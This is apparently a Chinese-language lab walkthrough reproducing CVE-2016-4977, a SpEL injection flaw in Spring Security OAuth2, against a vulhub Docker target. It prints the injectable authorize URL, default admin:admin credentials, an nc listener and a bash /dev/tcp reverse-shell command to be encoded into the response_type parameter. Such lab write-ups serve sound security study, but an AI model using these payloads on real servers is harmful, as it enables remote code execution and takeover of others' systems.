当前位置: 代码迷 >> 综合 >> Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
  详细解决方案

Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

热度:34   发布时间:2023-11-29 17:49:47.0

Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

漏洞原理:
Spring Security OAuth2处理认证请求的时候如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,恶意攻击者通过构造response_type值可以触发远程代码执行漏洞

攻击机:window10 IP:192.168.32.1
靶机:ubantu16.04 IP:192.168.32.142

(1)在vulhub靶场中找到spring CVE-2016-4977环境
在这里插入图片描述
开启 CVE-2016-4977环境
执行命令:docker-compose up -d
在这里插入图片描述

(2)使用攻击机访问靶机看是否访问正常,端口号为8080 ,URL:http://192.168.32.142:8080/
在这里插入图片描述

(3)使用漏洞测试字符串测试漏洞:

192.168.32.142:8080/oauth/authorize?response_type=${233*2}&client_id=acme&scope=openid&redirect_uri=http://test

在这里插入图片描述

访问后会弹窗,访问用户名和密码 admin:admin,返回结果可以看到值被成功计算为233*2=466
在这里插入图片描述

(4)利用漏洞反弹shell
攻击机使用nc.exe监听器
执行命令:nc –lvp 777
在这里插入图片描述

(5)反弹shell命令:bash -i >& /dev/tcp/192.168.32.1/777 0>&1
使用在线编码工具进行bash指令编码

URL地址:http://www.jackson-t.ca/runtime-exec-payloads.html

在这里插入图片描述

利用poc.py 进行ascii编码,这里python要用3以上的版本
在这里插入图片描述

(6)将编码后的字符串复制到response_type值中
在这里插入图片描述

成功反弹shell
在这里插入图片描述

  相关解决方案